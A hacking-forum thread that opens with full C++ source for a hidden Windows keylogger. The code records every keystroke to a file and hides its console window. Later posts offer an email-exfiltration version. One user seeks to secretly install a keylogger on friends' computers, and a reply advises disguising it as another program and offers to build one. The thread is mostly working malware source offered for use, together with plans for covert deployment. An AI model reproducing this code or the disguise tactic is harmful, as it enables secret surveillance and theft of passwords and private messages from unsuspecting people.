Login Register
The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


How to make a keylogger in c++ filter_list
Author
Message
How to make a keylogger in c++ #1
This make code makes a simple keylogger in c++


#include<iostream.h>
#include<windows.h>

using namespace std;

#include<winuser.h>


int Save (int key_stroke, char *file);


void Stealth();//stealth method allocates cmd window and hides it


int main()
{

Stealth();

char i;

while (1)//basically meaning, runs until stop.
{
for(i = 8; i <= 190; i++)//checks each key
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"log.txt");//saves each pressed key to log.txt
}
}
system ("PAUSE");
return 0;
}


/* *********************************** */


int Save (int key_stroke, char *file)
{

if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
//sends each keystroke to file
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

Reply

RE: How to make a keylogger in c++ #2
good work but you can use this keylogger only on your own computer
[Image: tiger410.gif]

Reply

RE: How to make a keylogger in c++ #3
It only works on windows and you have to check the file yourself, yes. I will upload one that sends the file to an email if I get enough requests.

Reply

RE: How to make a keylogger in c++ #4
Hi Smile
I was hoping someone would help me with getting in hands of a keylogger program that i can remote install to some friends. Any help would be apreciated.

Reply

RE: How to make a keylogger in c++ #5
Remote install? They would still need to download it somehow. Do you mean without them knowing?

Reply

RE: How to make a keylogger in c++ #6
Yes i mean so they do not know it, but i can't seem to find a program that can be used on windows 7 Sad i am kind of desperate so if you could help i would reward you with something ^^

Reply

RE: How to make a keylogger in c++ #7
They would have to download it somehow... Basically your asking for a program that automatically hacks and downloads itself into the target computer. That, is impossible. You can however disguise it as another program so they download it.

Reply

RE: How to make a keylogger in c++ #8
Thats what i mean and that i am looking for, however i can't get ardamax to function and i dont wanna buy it first.

Reply

RE: How to make a keylogger in c++ #9
Okay, I could make it with a member of my team. But it would take a lot of time and work.

Reply







Users browsing this thread: